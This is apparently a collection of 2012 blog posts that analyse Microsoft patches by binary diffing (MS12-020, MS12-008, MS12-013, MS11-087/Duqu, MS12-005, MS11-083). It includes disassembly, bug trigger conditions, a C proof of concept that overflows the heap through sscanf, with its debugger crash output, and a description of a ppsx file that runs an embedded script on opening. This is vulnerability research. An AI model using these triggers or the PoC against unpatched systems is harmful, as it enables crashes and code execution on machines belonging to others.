MS12-020 Vulnerabilities in Remote Desktop Could Allow Remote Code Execution

MS12-020 Vulnerabilities in Remote Desktop Could Allow Remote Code Execution

Update(03/19/2012) : Now I understand why MS said “we are not expecting to see the exploit in a few days”. To be honest, I don’t really understand how this vulnerability is working @.@. The actual bug trigger (known by leaked PoC) is in the last two pictures (rdpwd!nm_Disconnect), and you can trigger this routine by making this function fail in the middle after executing “or [esi+1c], 1”. Please see my comments below how to trigger this.

Update(03/16/2012) : Crash PoCs are available now by cool guys from freenode co-work. Here’s big fun. These codes were written based on the wild-PoC, but that wild-PoC seems to be the one originally reported to ZDI (!/luigi_auriemma). Do you see what this means ? 🙂 (python) (by jduck, ruby)

Update : more diffing points. Well… you’re right. I’m still guessing.

NOTE : I haven’t confirmed this vulnerability yet, so basically this is my rough guess on this vulnerability. MS12-020 touched many different files and I don’t think I’ll take a look all of them. Hope we get helpful feed-backs on this issue from you. There’s also other analysis on MS12-020 –

Related CVE : Remote Desktop Protocol Vulnerability – CVE-2012-0002
Terminal Server Denial of Service Vulnerability – CVE-2012-0152
(This post would be about CVE-2012-0002, but need to be confirmed)

Diffed Binary : rdpcore.dll 6.1.7601.17514 (win7sp1_rtm.101119-1850)
rdpcore.dll 6.1.7601.17779 (win7sp1_gdr.120216-1503)

Look at CRDPWDUMXStack:OnMcsCPI(). This function decodes and saves the user data from the GCCUserData structure. When you make the first branch condition fail, you can directly call RDPWDUMXGccFreeUserData() function, which is a simple wrapper function of delete(). It is clear that [ebp+var_10] is uninitialized before the patch. How it is patched ? Just look at where a series of “stosd” instructions are.)

rdpwd!HandleAttachUserReq(). This one is easy to trigger and looks very interesting, but it could be just a memory leak patch.

rdpwd!MCSChannelJoinRequest(). There was some problems in handling channel id. Note that each channel seems to have a corresponding entry in the link list.

tdtcp.sys!DeviceCancelIo(). See different function call has been made, TdiDisconnect() and TdLocalDisconnect(). TdLocalDisconnect() is actually a wrapper function of TdiDisconnect() while doing DEREF like job. Do you remember MS11-083 ? MS11-083’s vulnerability and patch was pretty similar to this.

rdpwd!nm_Disconnect(). After invoking the destructing function, it clears LSB-bit of the variable. See? Before actually invoking the destructing function, this LSB-bit variable is checked. Yeah, it should be double free (or use-after-free).

rdpwd!NMAbortConnect() has a similar pattern patch. Note that these two routines are closely linked together. That is, if you can hit NMAbortConnect(), it is highly likely that you can also hit nm_Disconnect(). In other words, if you can invoke these two routines, at least you will see crash.

MS12-008 : win32k.sys Keyboard Layout Use After Free vulnerability

MS12-008 : win32k.sys Keyboard Layout Use After Free vulnerability

Related CVE : CVE-2012-0154
Before Patch Binary : win32k.sys 6.1.7600.16920 (win7_gdr.111123-1510)
After Patch Binary : win32k.sys 6.1.7600.16948 (win7_gdr.120113-1505)

If you remember MS10-073 (stuxnet), then MS12-008 may sound familiar. Refer these articles. The analysis by Vupen, and a public exploit.

Once I diffed win32k.sys with DarunGrim, I simply searched for the patched functions which include the word “keyboard”. This led me to the function, xxxLoadKeyboardLayoutEx(), and the differences on the basic block looks interesting. For your better understanding, don’t forget this: we are going after use-after-free bug.

.text:BF815284 push eax ; Tag
.text:BF815285 push dword ptr [ebx+0Ch] ; P
.text:BF815288 call ds:__imp__ExFreePoolWithTag@8 ; ExFreePoolWithTag(x,x)
.text:BF81528E push ebx
.text:BF81528F call _HMMarkObjectDestroy@4 ; HMMarkObjectDestroy(x)
.text:BF815294 push ebx
.text:BF815295 call _HMUnlockObject@4 ; HMUnlockObject(x)

This is before the patch.

.text:BF815293 push edi ; Address
.text:BF815294 call _DestroyKF@4 ; DestroyKF(x)

This is after the patch. As you can see, the destructor routines has been wrapped up into DestroyKF() in the patch. Let’s see the inside of DestroyKF() function then.

.text:BF8E3F59 ; int __stdcall DestroyKF(PVOID Address)
.text:BF8E3F59 _DestroyKF@4 proc near ; CODE XREF: xxxLoadKeyboardLayoutEx(x,x,x,x,x,x,x,x,x)+1D6p
.text:BF8E3F59 ; DestroyKL(x)+37p ...
.text:BF8E3F59 Address = dword ptr 8
.text:BF8E3F59 mov edi, edi
.text:BF8E3F5B push ebp
.text:BF8E3F5C mov ebp, esp
.text:BF8E3F5E push esi
.text:BF8E3F5F mov esi, [ebp+Address]
.text:BF8E3F62 push esi
.text:BF8E3F63 call _HMMarkObjectDestroy@4 ; HMMarkObjectDestroy(x)
.text:BF8E3F68 test eax, eax
.text:BF8E3F6A jz short loc_BF8E3F83
.text:BF8E3F6C push esi
.text:BF8E3F6D call _RemoveKeyboardLayoutFile@4 ; RemoveKeyboardLayoutFile(x)
.text:BF8E3F72 push 0 ; Tag
.text:BF8E3F74 push dword ptr [esi+0Ch] ; P
.text:BF8E3F77 call ds:__imp__ExFreePoolWithTag@8 ; ExFreePoolWithTag(x,x)
.text:BF8E3F7D push esi ; Address
.text:BF8E3F7E call _HMFreeObject@4 ; HMFreeObject(x)
.text:BF8E3F83 loc_BF8E3F83: ; CODE XREF: DestroyKF(x)+11j
.text:BF8E3F83 pop esi
.text:BF8E3F84 pop ebp
.text:BF8E3F85 retn 4
.text:BF8E3F85 _DestroyKF@4 endp

Oh yes. Though there’s some changes in the order to invoke the free/destructor functions, but the most interesting point should be _RemoveKeyboardLayoutFile@4(): _RemoveKeyboardLayoutFile@4() wasn’t invoked in the old version, but the new version invoked.

Let’s see what _RemoveKeyboardLayoutFile() does.

.text:BF8E3F8D ; __stdcall RemoveKeyboardLayoutFile(x)
.text:BF8E3F8D _RemoveKeyboardLayoutFile@4 proc near ; CODE XREF: DestroyKF(x)+14p
.text:BF8E3F8D arg_0 = dword ptr 8
.text:BF8E3F8D mov edi, edi
.text:BF8E3F8F push ebp
.text:BF8E3F90 mov ebp, esp
.text:BF8E3F92 mov ecx, [ebp+arg_0]
.text:BF8E3F95 mov eax, _gpKbdTbl
.text:BF8E3F9A cmp eax, [ecx+10h]
.text:BF8E3F9D jnz short loc_BF8E3FA9
.text:BF8E3F9F mov _gpKbdTbl, offset _KbdTablesFallback
.text:BF8E3FA9 loc_BF8E3FA9: ; CODE XREF: RemoveKeyboardLayoutFile(x)+10j
.text:BF8E3FA9 mov eax, _gpKbdNlsTbl
.text:BF8E3FAE cmp eax, [ecx+18h]
.text:BF8E3FB1 jnz short loc_BF8E3FBA
.text:BF8E3FB3 and _gpKbdNlsTbl, 0
.text:BF8E3FBA loc_BF8E3FBA: ; CODE XREF: RemoveKeyboardLayoutFile(x)+24j
.text:BF8E3FBA mov eax, _gpkfList
.text:BF8E3FBF cmp ecx, eax
.text:BF8E3FC1 jnz short loc_BF8E3FCD
.text:BF8E3FC3 mov eax, [ecx+8]
.text:BF8E3FC6 mov _gpkfList, eax
.text:BF8E3FCB jmp short loc_BF8E3FDC
.text:BF8E3FCD ; ---------------------------------------------------------------------------
.text:BF8E3FCD loc_BF8E3FCD: ; CODE XREF: RemoveKeyboardLayoutFile(x)+34j
.text:BF8E3FCD ; RemoveKeyboardLayoutFile(x)+47j
.text:BF8E3FCD mov edx, eax
.text:BF8E3FCF mov eax, [eax+8]
.text:BF8E3FD2 cmp ecx, eax
.text:BF8E3FD4 jnz short loc_BF8E3FCD
.text:BF8E3FD6 mov eax, [eax+8]
.text:BF8E3FD9 mov [edx+8], eax
.text:BF8E3FDC loc_BF8E3FDC: ; CODE XREF: RemoveKeyboardLayoutFile(x)+3Ej
.text:BF8E3FDC pop ebp
.text:BF8E3FDD retn 4
.text:BF8E3FDD _RemoveKeyboardLayoutFile@4 endp

Given the data structure as an argument, RemoveKeyboardLayoutFile() loops over the linked list in which the head pointer is stored the global variable _gpkfList. While traversing over the linked list, RemoveKeyboardLayoutFile() tries to find the identical entry with the argument, then remove it from the linked list. Ok, fair enough. This logic also conforms with the function name.

Then our question should be “which function initialize (or update) this linked list ? By searching for the cross reference on _gpkfList, you will find LoadKeyboardLayoutFile() is updating this data structure. With the given argument, it first checks whether the given one is already loaded. If it’s not, then insert into the linked list.

Alright. Now we can see why this is a use-after-free bug. When xxxLoadKeyboardLayoutEx() is trying to destroy the target data structure, it forgot to clean up the linked list. Thus, even after the actual buffer is freed, the linked list still says there’s a target data structure. So, if we try to access that data structure with the same information, it will use the buffer pointer, which would be already freed.

The last question is how to reach to the vulnerable point (destructor rouintes). Again, going back to the destructor routine, then you will find it is reachable when HMAllocObject() fails.

.text:BF815271 push 44h ; NumberOfBytes
.text:BF815273 push 0Dh ; char
.text:BF815275 push 0 ; int
.text:BF815277 push 0 ; int
.text:BF815279 call _HMAllocObject@16 ; HMAllocObject(x,x,x,x)
.text:BF81527E mov esi, eax
.text:BF815280 test esi, esi
.text:BF815282 jnz short loc_BF8152B4

How to make the allocation fail ? Refer Tarjei Mandt’s comment on twitter: “You can exhaust the user handle table or try to exceed the handle quota limit (win32k!gUserProcessHandleQuota)”. Note that he’s name is on MS12-008 vulnerability description 🙂

I’ve shortly tried this, but it doesn’t work @.@ Cause I don’t want to waste my time by doing a brute force like approaches, I simply bought a Windows Internals book ! 🙂

Update : Forgot to mention the upcoming patch on another keyboard layout vulnerability (still zero-day!!), which is disclosed by the 0day exploit in wild. The description on this bug is as follows.The keyboard layout file (just like .dll file) can be loaded into the kernel. Interestingly, a keyboard layout file contains the hard-coded address pointer 🙂 Later, the kernel accesses the user space address by creating the mapping, but the kernel does not validate the user address pointer located in the keyboard layout file.This eventually crashes the system. Yes, this is a place holder for MSxx-xxx.

MS12-013: Vulnerability in C Run-Time Library could allow remote code execution

MS12-013: Vulnerability in C Run-Time Library could allow remote code execution

Update (Feb 16): Confirmed PoC is working. You can download compiled .exe file, which is dynamically linked with msvcrt.dll. Tested on Windows 7 32bit and 64bit. Download ms12-013poc.exe. Again, thanks to anonymous comments.

Update (Feb 16): Shame on me. The last analysis was incorrect. Surprisingly PoC was quite correct to trigger the vulnerability. I would say still this analysis is also not confirmed. To trigger the vulnerability, the best way would be to compile PoC with Visual Studio 6 using /MD option. Once you’ve compiled in this way, your binary may trigger the vulnerability most of other machines including Windows 7 because Windows 7 also has vulnerable MSVCRT.dll in its system directory. Visual Studio 2003 or higher versions (as MS tech blog described) cannot dynamically link with old MSVCRT.dll (I’ve tried some tricks, but it doesn’t work). Those only link to MSVCRxx.dll, which is not vulnerable to MS12-013.

Update : This may not trigger the actual heap overflow, and I’m not sure whether this routine is the vulnerability patch for MS12-013. Please read the comments.

C Run-Time vulnerability ! Guess all you guys were excited to see the title, because the word, C Run-Time, sounds to make this vulnerability working for numerous of Windows products? To be honest, I don’t quite trust MS tech descriptions, but you better read their interpretations on this bug. They said the only attack vector would be through ‘Windows Media Player’. (Again, you don’t have to trust them …)

MS patched msvcrt.dll, definitely well known C Run-time library in Windows. With DarunGrim, you can see the function, __check_float_string() is patched (though you may not see the symbol there, but IDA FLIRT should be able to do that). Because C Run-time library is distributed with its source code in Visual Studio, you can also see the source codes here: VC/CRT/src/input.c::int __check_float_string(size_t,size_t *, _TCHAR**, _TCHAR*, int*).

The working logic of __check_float_string() function is as follows.C Run-Time library manages the static sized buffer (_TCHAR floatstring[_CVTBUFSIZE + 1];) from the start, and it re-allocates the buffer as the more buffer size is required. When it reallocates the buffer, it simply allocates the doubled size buffer, and doubles the size variable as well. At the first time of increasing, calloc() is used, and then recalloc() will be used. The cause of MS12-013 happens when it tries to store new size of buffer.

.text:6FFBEA1E loc_6FFBEA1E: ; CODE XREF: sub_6FFBE9F3+25j
.text:6FFBEA1E push 2
.text:6FFBEA20 push ebx ; mov ebx, [esi] in the entry block
.text:6FFBEA21 call __calloc_crt

.text:6FFBEA26 pop ecx
.text:6FFBEA27 pop ecx
.text:6FFBEA28 mov [edi], eax
.text:6FFBEA2A test eax, eax
.text:6FFBEA2C jz short loc_6FFBEA1A
.text:6FFBEA2E push [ebp+pulResult] ; size_t
.text:6FFBEA31 mov eax, [ebp+arg_8]
.text:6FFBEA34 push [ebp+arg_4] ; void *
.text:6FFBEA37 mov dword ptr [eax], 1
.text:6FFBEA3D push dword ptr [edi] ; void *
.text:6FFBEA3F call _memcpy

.text:6FFBEA44 mov eax, [esi]
.text:6FFBEA46 push esi ; pulResult
.text:6FFBEA47 add eax, eax ; !!!!
.text:6FFBEA49 push 2 ; int
.text:6FFBEA4B push eax ; int
.text:6FFBEA4C mov [esi], eax
.text:6FFBEA4E call ?SizeTMult@@YAJIIPAI@Z ; SizeTMult(uint,uint,uint *)

.text:6FFBEA53 add esp, 18h
.text:6FFBEA56 test eax, eax
.text:6FFBEA58 jge short loc_6FFBEA78

This is the old version. Focus on the arguments of __calloc_crt() and SizeTMult(). When it invokes __calloc_crt(), the argument would be __calloc_crt( Size, 2). However, when SizeTMult() is invoked to record the size variable, the argument would be SizeTMult( Size*2, 2, &pResult). Thus, though the actual size of allocated buffer is Size*2, but the size variable stores Size*2*2. Because of this mis-computation, heap overflow would be triggered outside of this function. (Note: last analysis pointed out the cause is integer overflow, but it is not. Thanks to the comments from anonymous folk).

PoC seems to be still valid. __check_float_string() keeps the track of single floating point string, which is corresponding to the each format string delimiter (like %f). If you give a very long floating point string, like 1.0000…000, then it will reallocate the buffer, but the it will misinterpret the size of a reallocated buffer. Note that this PoC is never tested on the vulnerable environment. It would great to hear from you whether this is actually working.

// MS12-013 PoC

#pragma comment(linker, "/NODEFAULTLIB:msvcrt90.lib")
#pragma comment(linker, "/NODEFAULTLIB:msvcrt80.lib")
#pragma comment(lib, "vs6/msvcrt.lib") // I've scratched this file from VC6
#define BUF_SIZE 0x300

void main( void )
char * pStr;
float f;
int i;

pStr = (char*)malloc(BUF_SIZE);
memset(pStr, 0, BUF_SIZE);
strcpy(pStr, "1.");
for( i=1; i<=BUF_SIZE-10; i++){
strcat(pStr, "0");

printf("Before scanf()\n");

sscanf(pStr,"%f", &f);

printf("After scanf()\n");

printf("%f\n", f); // place holder for the floating point library

Below shows the windbg debugging dump.

0:000:x86> g
HEAP[testme.exe]: Heap block at 00823738 modified at 008239FC past requested size of 2bc
(1f24.1674): WOW64 breakpoint - code 4000001f (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
77ca04e4 cc int 3
0:000:x86> g
HEAP[testme.exe]: Invalid address specified to RtlFreeHeap( 00820000, 00823740 )
(1f24.1674): WOW64 breakpoint - code 4000001f (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
77ca04e4 cc int 3
0:000:x86> g
(1f24.1674): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
77c27074 8b19 mov ebx,dword ptr [ecx] ds:002b:30303030=????????
0:000:x86> r
eax=00823a18 ebx=00000046 ecx=30303030 edx=008207e0 esi=008207d8 edi=00820000
eip=77c27074 esp=0018fb30 ebp=0018fc10 iopl=0 nv up ei ng nz na pe cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010287
77c27074 8b19 mov ebx,dword ptr [ecx] ds:002b:30303030=????????

This is the patched version. Again, focus on the argument of SizeTMult(), SizeTMult( Size, 2, &pResult). MS removed “add eax, eax” instruction.

.text:6FFBF935 push [ebp+pulResult] ; size_t
.text:6FFBF938 mov eax, [ebp+arg_8]
.text:6FFBF93B push [ebp+arg_4] ; void *
.text:6FFBF93E mov dword ptr [eax], 1
.text:6FFBF944 push dword ptr [esi] ; void *
.text:6FFBF946 call _memcpy
.text:6FFBF94B push edi ; pulResult
.text:6FFBF94C push 2 ; int
.text:6FFBF94E push dword ptr [edi] ; int
.text:6FFBF950 call ?SizeTMult@@YAJIIPAI@Z ; SizeTMult(uint,uint,uint *)
.text:6FFBF955 add esp, 18h


.text:6FFBEA64 loc_6FFBEA64: ; CODE XREF: sub_6FFBE9F3+12j
.text:6FFBEA64 push 2 ; Size
.text:6FFBEA66 push ebx ; Count
.text:6FFBEA67 push eax ; Memory
.text:6FFBEA68 call __recalloc_crt
.text:6FFBEA6D add esp, 0Ch
.text:6FFBEA70 test eax, eax
.text:6FFBEA72 jz short loc_6FFBEA1A
.text:6FFBEA74 mov [edi], eax
.text:6FFBEA76 shl dword ptr [esi], 1

This is the old version.

.text:6FFBF966 push 2 ; Size
.text:6FFBF968 push ebx ; Count
.text:6FFBF969 push eax ; Memory
.text:6FFBF96A call __recalloc_crt
.text:6FFBF96F add esp, 0Ch
.text:6FFBF972 test eax, eax
.text:6FFBF974 jz short loc_6FFBF921
.text:6FFBF976 push edi ; pulResult
.text:6FFBF977 mov [esi], eax
.text:6FFBF979 push 2 ; int
.text:6FFBF97B push dword ptr [edi] ; int
.text:6FFBF97D call ?SizeTMult@@YAJIIPAI@Z ; SizeTMult(uint,uint,uint *)
.text:6FFBF982 add esp, 0Ch
.text:6FFBF985 jmp short loc_6FFBF958

This is the patched version. Yes, it just seems obvious. After reallocating the buffer (double the size), and this size information will be stored again. The old version re-computed the doubled size using SHL instruction, but the new version did using SizeTMult(). If you are familiar with integer overflow bugs, using SizeTMult() instead of primitive multiplication instructions implicates the integer overflow patches. To be specific, SizeTMult() multiplies input values, and returns FALSE if there is overflow. This allows the caller of SizeTMult() to easily capture the integer overflow.

To understand the working logic around here, you can refer the source codes distributed with MS Visual Studio: VC/CRT/src/input.c::int __check_float_string(size_t,size_t *, _TCHAR**, _TCHAR*, int*) (See his tweet). C Run-Time library manages the static size buffer (_TCHAR floatstring[_CVTBUFSIZE + 1];) from the beginning, and it re-allocates the buffer as the more buffer size is required. (This is actually done by both calloc() and realloc(), but you can simply think of this as only realloc() is used).

When it requires more buffer, it simply allocates the doubled size of the previous size, and stores the doubled size. However, because the old version simply uses ‘SHL’, there could be integer overflow if it becomes bigger than 2G (i.e. 0x80000000).

This routine keeps the buffer for the single matched target of each format string element. Thus if you put very long string (like very long floating point string, 1.0000000000000000….0000), the size of internal buffer will be doubled all over again while reading this long element, and eventually this will lead to the integer overflow.

If you compile this with /MT option, msvcrt.lib will be statically linked. If you do this with /MD option, msvcrt.dll will be dynamically linked. MS Technet blog described some more details which version of run-time library is vulnerable, so you may need to check their descriptions.

Update (Feb 15)
recalloc(void *Memory, size_t Count, size_t Size) checks the integer overflow conditions (possibly triggered by Count*Size)., but this check is done only if Count < 0. This implicates _recalloc() cannot be used for integer overflows. lol

.text:6FF80457 ; void *__cdecl _recalloc(void *Memory, size_t Count, size_t Size)
.text:6FF80457 __recalloc proc near ; CODE XREF: __recalloc_crt+12p
.text:6FF80457 ; sub_6FF7CDEE+1CFBFp …
.text:6FF80457 Memory = dword ptr 8
.text:6FF80457 Count = dword ptr 0Ch
.text:6FF80457 Size = dword ptr 10h
.text:6FF80457 ; FUNCTION CHUNK AT .text:6FF9467C SIZE 0000001F BYTES
.text:6FF80457 mov edi, edi
.text:6FF80459 push ebp
.text:6FF8045A mov ebp, esp
.text:6FF8045C mov ecx, [ebp+Count]
.text:6FF8045F push esi
.text:6FF80460 xor esi, esi
.text:6FF80462 cmp ecx, esi
.text:6FF80464 jbe short loc_6FF80476
.text:6FF80466 push 0FFFFFFE0h
.text:6FF80468 xor edx, edx
.text:6FF8046A pop eax
.text:6FF8046B div ecx
.text:6FF8046D cmp eax, [ebp+Size]
.text:6FF80470 jb loc_6FF9467C
.text:6FF80476 loc_6FF80476: ; CODE XREF: __recalloc+Dj
.text:6FF80476 imul ecx, [ebp+Size]
.text:6FF8047A push ecx ; size_t
.text:6FF8047B push [ebp+Memory] ; void *
.text:6FF8047E call _realloc
.text:6FF80483 pop ecx
.text:6FF80484 pop ecx

Thus, when Count is still positive value, then there’s no internal overflow checks. To bypass this check routine, you’ve got to use functions with unicodes. This will set Size=4, then Count doesn’t have to be negative to cause the integer overflow.

text:6FF9C8A9 push 4 ; Size
.text:6FF9C8AB push ebx ; Count
.text:6FF9C8AC push eax ; Memory
.text:6FF9C8AD call __recalloc_crt

MS11-087 (aka Duqu) : Vulnerability in Windows kernel-mode drivers could allow remote code execution

Update (Feb 2, 2012) :
Since many folks are asking more about MS11-087, I’m posting some of interesting questions I’ve got.

Q. How to parse TTF sbit ?
Microsoft FontTools have ‘SBIT32’ and ‘TTFDUMP’, each of which can be useful to understand sbit. I’ve also written simple TTF sbit parser, which supports EBLC and EBDT table. . This python script would be much better to see how it works.

Q. Is it working on Windows 64 bit ?
A. I’m not sure. Vulnerability itself would be still effective on Win64. However, since DEP on Win64 also protects dynamically allocated memory, it may not work without doing Return Oriented Programming. If you are clever enough, you might be able to write a memory map parser using TTF interpreter to find the gadget address for ROP.

Q. Why .ttf is not triggering MS11-087 ?
A. sbit routine is kicked in only if the point resolution is matched. Default fontviewer (default .ttf handler on windows) may not trigger MS11-087. You need to embed .ttf into word documents or html documents, and setup the proper resolution for that document. Word document allows to set the viewing resolution into the document. This may implicate very reliable kernel exploit through IE was possible.

Update (Jan 30, 2012) : After some thoughts, I have decided not to disclose any more details of MS11-087 (yeah. ethical issue). Last comments for duqu is… this is an amazing exploit. On 32bit Windows, ASLR and DEP are just useless on duqu. My guess is the author of duqu may have the access to the windows kernel source code. They have understood very deep details of the data structure used by win32k.sys font engine. Yes, they played with TTF fonts just like a toy. I am kind of sad that I cannot share this amazing exploit with many other security folks.

Related CVE : CVE-2011-3402

Before Patch : win32k.sys 6.1.7601.17697 (win7sp1_gdr.110928-1505)
After Patch : win32k.sys 6.1.7601.17730 (win7sp1_gdr.111123-1510)

Duqu was extremely critical. Office documents and even Internet Explorer could be used as attack vectors, and also it is kernel exploit ! Moreover, the attack could be quite reliable though it is kernel exploit 🙂 A font engine inside the kernel is indeed a bad design decision ?

Many different sources have covered duqu’s malicious behaviors before, but I believe this post would be the first to cover *vulnerability* itself. Unlike previous exploitshop post, this post will focus on how duqu attack is working instead of focusing how win32k.sys is patched.

MS11-087 analysis was quite complicated because
1) ttf itself is already complicated. Sbit is even worse (Most ttf open source implementations are supporting sbit incompletely).
2) MS11-087 patch itself is not obvious. MS touched many different parts of ttf font engines, including multiple integer overflow patches (I’m not quite sure this is actually a positive bug). I wasted lots of my time to see these integer overflow issues, and… yeah MS seems to know how to confuse a patch analysis 🙂

1) Preliminary stage: one-byte overwrite
When ttf bitmap is loaded to the memory, no boundary check was done. This allows to overwrite multiple bytes to certain ranges of heap address with user controlled value. Successful exploitation requires only one-byte overwrite though. This one-byte overwrite enables easy read&write operations to TTF interpreter context data structure later.

To be specific, each glyph in EBDT table (See MS EBDT specification) is loaded one by one to the allocated memory. (Imagine how type-writer is working. A character (Each glyph) is typed onto the paper, and the next character will be typed next to the previous character.) To properly position the glyphs, each glyph has the layout information including height, width, x_offset, and y_offset. One glyph is loaded first, and then the next glyph will be loaded while moving the position a little.

For better understanding, let’s see freetype2 implementation. Load_SBit_Image() of freetype2 is corresponding to GetSbitComponent() of win32k. When it makes the recursive call to handle the glyphs one by one, you can see component type x_offset and y_offset are added to the ones before.

ttsbit.c::Load_SBit_Image()::line 1387
/* now load the element, recursively */
error = Load_SBit_Image( strike,
x_offset + comp->x_offset,
y_offset + comp->y_offset,
depth + 1 );

This new offset value (y_offset + comp->y_offset) will be used to compute the memory pointer (line_buff).

ttsbit.c::blit_sbit()::line 105
line_buff += ( x_offset >> 3 ) + y_offset * line_incr;

Then let’s how this is working in win32k (before patch). The analogy from freetype2 would be really helpful to understand. Yeah… it is working pretty much the same for this process.

.text:BF8EEDFF imul ecx, eax ; ecx -> y_offset * line_incr
.text:BF8EEE75 mov eax, [ebp+a16] ; eax -> x_offset >> 3
.text:BF8EEE78 lea esi, [ecx+eax] ;
.text:BF8EEE85 mov al, [ebx] ; al -> image value
.text:BF8EEE87 or [esi], al ; esi -> line_buff

line_buff can be manipulated as follows. Having win32k load a component glyph first, which has big y_offset value. This will setup the target bitmap memory. Next, having win32k load a glyph with image data. This will write image data using (possibly) big line_buff pointer value caused by big y_offset value. This actually allows multiple-bytes overwrite with controlled data to a certain range of heap address. Duqu overwrote 1-byte to manipulate CVT table size.

MS11-087 patched this problem by adding the boundary check routines. There’s many other patches, but this would be the specific one for Duqu.

.text:BF8EEF64 cmp eax, [ebp+pBufMax]
.text:BF8EEF67 ja loc_BF8EF160
.text:BF8EEF6D cmp eax, [ebp+pBufBase]
.text:BF8EEF70 jb loc_BF8EF160
.text:BF8EEF76 mov dl, [ebx]
.text:BF8EEF78 or [eax], dl

2) Exploit stage
will be posted very soon. Exploit is also very interesting. Duqu tamed the TrueType Interpreter 🙂

MS12-005 : embedded object package allow arbitrary code execution

MS12-005 is really fun.
See our video capture –

Updates 2 : MS12-005 is much more dangerous than I thought. Very easy to exploit, and 100% reliable. Now no user interactions are required. Exploit is available : . Download this and double-click the ppsx file (PPT presentation file) would execute the python scripts 🙂 In this ppsx, customized animations were used to activate the embedded document (python script), which would be activated as the document opened. No permission checks are required. Thanks to Yorick.

Updates 1 : See for the attack vector. This guy seems to be the founder of MS12-005, and it suggests to use office and .application. You may want to check if this also requires the user interaction (like enabling the macro).

Before patch : packager.dll, 6.1.7600.16385 (win7_rtm.090713-1255)
After patch : packager.dll, 6.1.7601.17727 (win7sp1_gdr.111118-2330)

Here’s some background for MS12-005 (see Object packager can embed any files into the other file, and this is also true for office documents. You can simply drag-and-drop any files into the office document, then the icon of that file will be shown in the document. By double-clicking the icon, you can execute the embedded file if it is executable. Surely packager.dll pops up the warning message which says “DONT DO THIS, IT IS DANGEROUS”, and it requires the confirmation from the user.

The problem of MS12-005 lies in 1) how to identify the executable file and 2) how to show the warning message to the user.

1. How to identify the executable file
Before the patch, packager.dll identifies the executable by matching them with the table (let’s say execExtTable).

.text:02FA1D98 execExtTable dd offset a_exe ; DATA XREF: CPackage::_GetCurrentIcon(_IC *)+69o
.text:02FA1D98 ; CPackage::_GiveWarningMsg(HWND__ *)+5Eo
.text:02FA1D98 ; “.exe”
.text:02FA1D9C dd offset a_com ; “.com”
.text:02FA1DA0 dd offset a_bat ; “.bat”
.text:02FA1DA4 dd offset a_lnk ; “.lnk”
.text:02FA1DA8 dd offset a_cmd ; “.cmd”
.text:02FA1DAC dd offset a_pif ; “.pif”
.text:02FA1DB0 dd offset a_scr ; “.scr”
.text:02FA1DB4 dd offset a_js ; “.js”
.text:02FA1DB8 dd offset a_jse ; “.jse”
.text:02FA1DBC dd offset a_vbs ; “.vbs”
.text:02FA1DC0 dd offset a_vbe ; “.vbe”
.text:02FA1DC4 dd offset a_wsh ; “.wsh”
.text:02FA1DC8 dd offset a_sct ; “.sct”
.text:02FA1DCC dd offset a_vb ; “.vb”
.text:02FA1DD0 dd offset a_wsc ; “.wsc”
.text:02FA1DD4 dd offset a_wsf ; “.wsf”
.text:02FA1DD8 dd offset a_wmz ; “.wmz”

Just looping through that table to see if the embedded file has the same extension name.
This is actually done by calling the function IsProgIDInList.

.text:02FA72F4 push 11h ; int
.text:02FA72F6 push offset execExtTable ; dangerousTable
.text:02FA72FB push esi ; pExtName
.text:02FA72FC push 0 ; int
.text:02FA72FE call ?IsProgIDInList@@YGHPBG0PBQBGI@Z ; IsProgIDInList(ushort const *,ushort const *,ushort const * const *,uint)

WHAT?? Only these extensions are executables? There are a lot more executable extension as you may know. Though it could be system specific depending on the execution handlers are installed (yeah.. this reminds me of old windows vulnerability), .py and .pl should be popular enough. In this point, I am sure some other folks might be able to come up with better attack vectors (.vsto could be the one ??).

MS12-005 patched this issue by calling AssocIsDangerous() to check the executable extension.

.text:02FA6A11 push eax
.text:02FA6A12 call ds:__imp__AssocIsDangerous@4 ; AssocIsDangerous(x)
.text:02FA6A18 test eax, eax
.text:02FA6A1A jnz short loc_2FA6A42

Try this using DarunGrim. It specifically shows up that this block has been changed 🙂

2) how to show the warning message
This is simple part. Before the patch, packager.dll shows up the warning message only if it is executable. See the function : CPackage___GiveWarningMsg(HWND hWnd). This function loops over execExtTable again, and IT WON’T SHOW THE WARNING MESSAGES if it is not in execExtTable !!!

How to Exploit.
Our video capture on youtube shows everything ( To be simple, we used python scripts to embed into office documents, and wrote the macro to execute (double-click) this embedded python script. After opening the office document, you need to confirm to execute the macro and it will execute python scripts right away.

On the (im)possibility of MS11-083

We know all you guys are really excited about the release of MS11-083. As you expected on this blog, this posting gives you more detailed analysis and *fake* PoC exploits. Please keep in mind this analysis is not based on the fundamental and fine grained analysis, thus it could be totally wrong.

Before getting into the details, reading these links would be helpful.

As always, DarunGrim gives a nice diffing result. It Seems like a refcount bug in MS11-083 not only involves IppRateLimitIcmp(), but also involves (mysterious) TCP & MFE handlings. (i’m sick of uploading the screen shot. Hope this would be enough for you to understand)

_IppDispatchMfeQueuedPackets@8 0 9 1 _IppDispatchMfeQueuedPackets@8 0 9 1 None
_IppRateLimitIcmp@4 0 2 4 _IppRateLimitIcmp@4 2 2 4 None
_TcpExitBHModeDuetoAckRcved@4 0 15 1 _TcpExitBHModeDuetoAckRcved@4 1 15 1 None
_TcpExitBHModeDuetoNextHopChange@4 0 15 1 _TcpExitBHModeDuetoNextHopChange@4 1 15 1 None
_TcpExitBHModeDuetoTimeout@4 0 15 1 _TcpExitBHModeDuetoTimeout@4 1 15 1 None
_TcpGetTcbConnectionObject@12 0 92 0 _TcpGetTcbConnectionObject@12 2 92 0 None
_TcpSetSockOptTcb@40 0 157 1 _TcpSetSockOptTcb@40 1 157 1 None
_TcpTryToEnterBHMode@4 0 43 31 _TcpTryToEnterBHMode@4 2 42 30 None

For IppRateLimitIcmp(), the only difference is whether to invoke dereference routines (either IppDereferenceNeighbor() or IppDereferenceLocalAddress()) depending on the connections.
For the rest of this posting, I’ll assume we are on the neighbor situation.

The data structure (let’s say context), which is passed as the 1st argument of IppRateLimitIcmp(), can be described as follows.

pContext+0 : string specifier (either "Ipla" (local address) or "Ipne" (neighbor)
pContext+4 : refCount // a reference counter
pContext+8 : ??
pContext+c : pBuf // pointer to the buffer where the usage is monitored by the refCount above

If you send a bunch of UDP packets to a closed port (only if it reached some limit number of trials), then a reference counter for context will be increased.
